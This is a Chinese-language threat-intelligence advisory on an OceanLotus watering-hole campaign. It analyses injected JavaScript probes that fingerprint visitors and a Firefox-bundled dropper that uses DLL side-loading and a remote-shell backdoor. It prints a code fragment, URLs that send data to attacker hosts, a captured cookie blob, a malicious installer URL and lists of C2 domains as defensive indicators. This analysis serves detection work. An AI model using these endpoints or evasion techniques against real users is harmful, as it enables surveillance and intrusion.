Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

$
0
0
【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

2017-11-08 20:27:21

阅读:13067次
点赞(0)
收藏
来源: 安全客





【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

作者:360天眼实验室





【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

作者:360威胁情报中心 && 360CERT


文档信息


【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

通告背景

2017 年 11 月 6 日,国外安全公司发布了一篇据称海莲花 APT 团伙新活动的报告,360 威胁情报中心对其进行了分析和影响面评估,提供处置建议。


事件概要


【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

事件描述

2017年11月6日,国外安全公司Volexity发布了一篇关于疑似海莲花APT团伙新活动的报告,该报告指出攻击团伙攻击了与政府、军事、人权、媒体和国家石油勘探等有关的个人和组织的100多个网站。通过针对性的javascript脚本进行信息收集,修改网页视图,配合社会工程学诱导受害人点击安装恶意软件或者登陆钓鱼页面,以进行下一步的攻击渗透。


事件时间线

2017 年 11 月 6 日 Volexity 公司发布了据称海莲花新活动的报告。

2017 年 11 月 7 日 360 威胁情报中心发现确认部分攻击并作出响应。


影响面和危害分析

攻击者团伙入侵目标用户可能访问的网站,不仅破坏网站的安全性,还会收集所访问用户的系统信息。如果确认感兴趣的目标,则会执行进一步的钓鱼攻击获取敏感账号信息或尝试植入恶意程序进行秘密控制。

基于360网络研究院的数据,访问过攻击者设置的信息收集恶意站点有可能被获取自身主机信息的用户数量在十万级别,造成较大的敏感信息泄露,而这些用户中的极少数被诱骗下载执行恶意代码从而植入后门。

目前360威胁情报中心确认部分网站受到了影响,建议用户,特别是政府及大型企业结合附件提供的IOC信息对自身系统进行检查处理。


处置建议

1. 网站管理员检查自己网站页面是否被植入了恶意链接,如发现,清理被控制的网站中嵌 入的恶意代码,并排查内部网络的用户是否被植入了恶意程序。

2. 电脑安装防病毒安全软件,确认规则升级到最新。


技术分析

JavaScript分析

执行步骤

攻击者通过水坑攻击将恶意JavaScript代码植入到合法网站,收集用户浏览器指纹信息,修改网页视图诱骗用户登陆钓鱼页面、安装下载恶意软件。

大致的执行步骤是首先JavaScript脚本根据基础信息,引用到指定版本的恶意jQuery JavaScript文件进一步收集信息后获取新的JavaScript Payload。此Payload是大量的基础的函数以及更详尽的设备信息收集,同时还通过WebRTC获得真实IP地址。发送信息到通信地址加载新的 JavaScript Payload,此Payload进一步信息收集或者产生后续攻击变换。

探针一

http://45.32.105.45/ajax/libs/jquery/2.1.3/jquery.min.js?s=1&v=86462

jquery的最下面有个eval


【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

核心获取传输数据部分如下:

varbrowser_hash='b0da8bd67938a5cf22e0-37cea33014-iGJHVcEXbp'; vardata={'browserhash':browserhash,'type':'ExtendedBrowserInfo','action':'replace','name':'WebRTC','value':array2json(window.listIP).replace(/"/g,'\"'),'log':'ReceicedWebRTCdatafromclient{client}.'}; vardata={'browserhash':browserhash,'type':'ExtendedBrowserInfo','name':'BrowserPlugins','action':'replace','value':array2json(plugins).replace(/"/g,'\"'),'log':'ReceicedBrowserPluginsdatafromclient{client}.'}; varinfo={'Screen':screen.width+'x'+screen.height,'windowsize':window.outerWidth+'x'+window.outerHeight,'Language':navigator.language,'Cookie Enabled':(navigator.cookieEnabled)?'Yes':'No','JavaEnabled':(navigator.javaEnabled())?'Yes':'No'}; vardata={'browserhash':browserhash,'type':'ExtendedBrowserInfo','name':'ExtendedBrowserInfo','action':'replace','value':array2json(info).replace(/"/g,'\"'),'log':'ReceicedExtendedBrowserInfodatafromclient{client}.'};

探针二

获取数据部分,用于字符串处理,校对时区,收集swf、express、activex、flash以及插入swf


【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

传送数据相关的代码


【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

发送的内容如下

'{"history":{"client_title":"", "client_url":"https://www.google.co.kr/_/chrome/newtab?espv=2&ie=UTF-8", "client_cookie":"SID=TQUtor57TAERNu6GqnR4pjxikT_fUFRYJg0WDuQR6DLPYP79ng8b20xLV45BALRr9EP0ig.; APISID=czIiWPC84XzsPhi7/AEXqM7jJZBOCVK4NB; SAPISID=EukztCzcUbvlcTe3/A0h8Z8oQR86VGPTf_; UULE=a+cm9sZToxIHByb2R1Y2VyOjEyIHByb3ZlbmFuY2U6NiB0aW1lc3RhbXA6MTUxMDA1Mzg3NDY1OTAwMCBsYXRsbmd7bGF0aXR1ZGVfZTc6Mzk5ODE5MzY5IGxvbmdpdHVkZV9lNzoxMTY0ODQ5ODQ5fSByYWRpdXM6MzM0ODA=; 1P_JAR=2017-11-8-2", "client_hash":"", "client_referrer":"", "client_platform_ua":"Mozilla/5.0(Macintosh;IntelMacOSX10_12_6)AppleWebKit/537.36(KHTML,likeGecko)Chrome/61.0.3163.100Safari/537.36", "client_time":"2017-11-08T03:40:25.641Z", "client_network_ip_list":["10.17.52.196"], "timezone":"Asia/Shanghai"}}'

数据传输地址

探针一

接受数据 //45.32.105.45/icon.jpg?v=86462&d={data}

根据参数下发

payload //45.32.105.45/ajax/libs/jquery/2.1.3/jquery.min.js?&v=86462&h1={data}&h2={data}&r={data}

探针二

往以下地址 POST 数据,并接受新的 js 并运行//ad.jqueryclick.com/117efea9-be70-54f2-9336-893c5a0defa1


信息收集列表

浏览器中执行的恶意代码会收集如下这些信息:

浏览器类型

浏览器版本

浏览器分辨率、DPI

CPU类型

CPU核心数

设备分辨率

BuildID

系统语言

jsHeapSizeLimit

screen.colorDepth

是否开启Cookie

是否开启Java

已经加载的插件列表

Referrer

当前网络IP

Cookie


定向投递

完成信息收集之后,攻击者会通过一个白名单过滤感兴趣的用户,如果不是仅仅返回一个时间戳,是则下发相应的JavaScript Payload,执行以下功能:

以钓鱼的方式骗取攻击目标的Google账号信息

欺骗用户安装或更新捆绑了恶意代码的浏览器软件(已知的有IE、Chrome及Firefox)

以下两个Amazon相关的域名用于存放假浏览器软件(该地址也可用于鱼叉链接)

dload01.s3.amazonaws.com

download-attachments.s3.amazonaws.com


二进制样本分析

Dorpper

通过关联分析,360威胁情报中心定位到一个相关的恶意样本( MD5:eb2b52ed27346962c4b7b26df51ebafa )。

样本是一个捆绑了Firefox浏览器的Dropper:


【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

该Dropper中有一个Name为1的大资源:


【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

该资源是加密的,经过调试分析得到解密后的数据如下:


【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

数据结构如下图所示:


【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

经过分析发现该资源数据的数据结构如下:


【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

如下为解密后的Firefox文件(7zS.sfx.exe)和具备自删除功能的程序文件(123.exe):


【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

正常的Firefox安装截图如下:


【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

执行正常的Firefox后,会先申请一个5个字节的内存空间,用于存放跳转指令,还会再申请一个内存空间存放资源数据中“第一部分代码”的地方,然后计算相对偏移,修改相对地址,跳转过去执行shellcode:


【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)
下图为修正的5个字节的跳转的数据:

【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)
下图为跳转后的shellcode的入口处,代码里插入了花指令:

【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

Shellcode会从自身提取出来修正前的PE文件的内容,修正后复制到目标内存中,并在内存中执行起来,下图为把复制数据的操作:


【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

下图为复制修正后的PE头数据:


【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

Dump出的PE基本信息如下,

导出模块名为:{103004A5-829C-418E-ACE9-A7615D30E125}.dll:


【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

Dump出的PE(DLL形式的Dropper)中也有一个名为1的资源:


【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

资源的大小为1079KB:


【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

该资源数据使用DES加密:


【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

解密后的数据为拼接到一起的3个文件:rastlsc.exe、rastls.dll和sylog.bin


【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

释放的3个文件为典型的白利用过杀软方式,rastlsc.exe文件带有Symantec的签名,此白文件会加载同目录下的rastls.dll,该dll会去解密加载sylog.bin文件并执行:


【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

Dropper执行shellcode后,会把执行自删除功能的文件释放到temp目录的123.exe,把正常的浏览器文件替换掉Dropper后,以Dropper的路径作为参数运行123.exe:


【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

123.exe的功能主要是睡眠一秒后删除命令行传过来的文件,攻击者不通过调用cmd.exe的方式删除自己,估计是为了免杀。


【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

恶意功能代码

sylog.bin文件在内存中解析后被执行,代码会获取计算机信息生成字符串与 .harinarach.com、.maerferd.com和 .eoneorbin.com拼接成一个完整的域名,连接其25123端口:


【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)
成功连接后可以执行如下远控功能:

1、 文件管理

2、 远程shell

3、 注册表管理

4、 进程管理

关于远控部分的其他细节,360威胁情报中心将会在后续给出更详细的分析。


总体流程图

综合上述分析,样本执行流程总结如下:


【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

关联分析及溯源

360威胁情报中心尝试通过分发JavaScript的恶意域名的WHOIS信息来对本次事件做一些关联分析,一共38个域名,基本上都使用了隐私保护,注册时间则分布于2014年3月至2017年 10月,可见攻击团伙的活动时间之长准备之充分。如下是其中一个域名的注册信息:
【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

从攻击团伙用于C&C通信的域名dload01.s3.amazonaws.com出发,360威胁情报中心发现一个捆绑恶意代码的Firefox浏览器更新文件,该文件就是技术分析部分提到的恶意样本。同时360威胁情报中心还发现了更多的恶意代码,包括Cobalt Strike生成的Powershell代码以及捆绑在其他浏览器中的恶意样本,这也是海莲花团伙的惯用手法之一,后续360威胁情报中心可能会发布更多相关的恶意代码分析。


【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

参考资料

https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance -and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/


更新历史



【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)

附件

IOC列表

C&C服务器

dload01.s3.amazonaws.com

download-attachments.s3.amazonaws.com

maerferd.com

harinarach.com

eoneorbin.com

http://dload01.s3.amazonaws.com/b89fdbf4-9f80-11e7-abc4-2209cec278b6b50a/FirefoxInstaller.exe

分发JavaScript的恶意域名

a.doulbeclick.org

ad.adthis.org

ad.jqueryclick.com

ad.linksys-analytic.com

ads.alternativeads.net

api.2nd-weibo.com

api.analyticsearch.org

api.baiduusercontent.com

api.disquscore.com

api.fbconnect.net

api.querycore.com

browser-extension.jdfkmiabjpfjacifcmihfdjhpnjpiick.com

cache.akamaihd-d.com

cdn-js.com

cdn.adsfly.co

cdn.disqusapi.com

cloud.corewidget.com

cloudflare-api.com

core.alternativeads.net

cory.ns.webjzcnd.com

d3.advertisingbaidu.com

eclick.analyticsearch.org

google-js.net

google-js.org

google-script.net

googlescripts.com

gs.baidustats.com

health-ray-id.com

hit.asmung.net

jquery.google-script.org

js.ecommer.org

linked.livestreamanalytic.com

linksys-analytic.com

live.webfontupdate.com

s.jscore-group.com

s1.gridsumcontent.com

s1.jqueryclick.com

ssl.security.akamaihd-d.com

stat.cdnanalytic.com

static.livestreamanalytic.com

stats.corewidget.com

stats.widgetapi.com

track-google.com

update.akamaihd-d.com

update.security.akamaihd-d.com

update.webfontupdate.com

upgrade.liveupdateplugins.com

widget.jscore-group.com

wiget.adsfly.co

www.googleuserscontent.org

曾经被插入过恶意JavaScript的正常网站/URL

bdstarlbs.com

bokeo.gov.la

demo.mcs.gov.kh

mcs.gov.kh

www.fia.gov.kh

op-proper.gov.ph

www.mcs.gov.kh

www.necelect.org.kh

http://asean.org/modules/aseanmail/js/wp-mailinglist.js

http://asean.org/modules/wordpress-popup/inc/external/wpmu-lib/js/wpmu-ui.3.min.js

http://atr.asean.org/

http://investasean.asean.org/

http://www.afp.mil.ph/modules/mod_js_flexslider/assets/js/jquery.easing.js

http://www.mfa.gov.kh/jwplayer.js

http://www.moe.gov.kh/other/js/jquery/jquery.js

http://www.monasri.gov.kh/wtemplates/monasri_template/js/menu/mega.js

http://www.mosvy.gov.kh/public/js/default.js

http://www.mpwt.gov.la/media/system/js/mootools-core.js

http://www.police.gov.kh/wp-includes/js/jquery/jquery.js



【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)
【APT报告】海莲花(OceanLotus)APT团伙新活动通告(11月10日更新)
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4680.html

Viewing all articles
Browse latest Browse all 12749

Trending Articles